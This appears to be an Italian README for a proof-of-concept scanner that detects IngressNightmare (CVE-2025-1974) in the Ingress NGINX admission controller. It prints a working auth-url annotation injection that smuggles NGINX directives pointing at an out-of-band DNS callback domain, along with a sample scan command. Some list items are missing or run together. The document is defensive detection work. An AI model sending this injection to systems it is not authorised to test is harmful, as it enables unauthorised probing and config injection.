m-q-t/ingressnightmare-detection-pocStrumento Proof-of-Concept per rilevare IngressNightmare (CVE-2025-1974) tramite mezzi attivi (non intrusivi).
Questo strumento fornisce una capacità di rilevamento non intrusiva per la catena di vulnerabilità IngressNightmare (CVE-2025-1974) che colpisce Ingress NGINX Controller. Nello specifico sfrutta il vettore di iniezione tramite l'annotazione auth-url (CVE-2025-24514) per verificare la presenza di questa vulnerabilità critica senza eseguire codice arbitrario.
La catena di vulnerabilità IngressNightmare consente agli attaccanti di iniettare direttive di configurazione NGINX arbitrarie attraverso vari campi di annotazione Ingress. Quando queste risorse Ingress dannose vengono elaborate dall'admission controller, le direttive iniettate vengono valutate durante la fase di validazione della configurazione NGINX (nginx -t).
Questo PoC sfrutta specificamente la vulnerabilità dell'annotazione auth-url iniettando la direttiva error_log con un server syslog che punta a un dominio controllato dall'attaccante. Durante la validazione della configurazione, NGINX:
Questa attività di risoluzione DNS fornisce un segnale affidabile che il target è vulnerabile senza richiedere esecuzione di codice o interruzione del servizio.
Configura un listener di callback DNS utilizzando Burp Collaborator, interactsh o qualsiasi servizio di monitoraggio DNS.
Esegui lo strumento di rilevamento:
$ python3 detect.py -t https://target-admission-controller:443 -c w00tw00t.lf4v7uehamhtt4hufhstpla09rfi38rx.oastify.com
Se vulnerabile, osserverai tentativi di risoluzione DNS verso il tuo dominio di callback DNS:
Lo strumento crea un oggetto AdmissionReview appositamente formato contenente una risorsa Ingress con il seguente payload di iniezione:
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\n resolver 8.8.8.8;\n error_log syslog:server=unique-id.oastify.com:80 debug;\n #"
Questo payload:
#) per terminare l'URLerror_log con syslog che punta al dominio di callback DNSQuando viene elaborato da un admission controller vulnerabile, ciò comporta una query DNS in uscita che conferma la presenza della vulnerabilità.
Questo strumento rileva solo la presenza della vulnerabilità e non tenta di sfruttarla per l'esecuzione di codice arbitrario.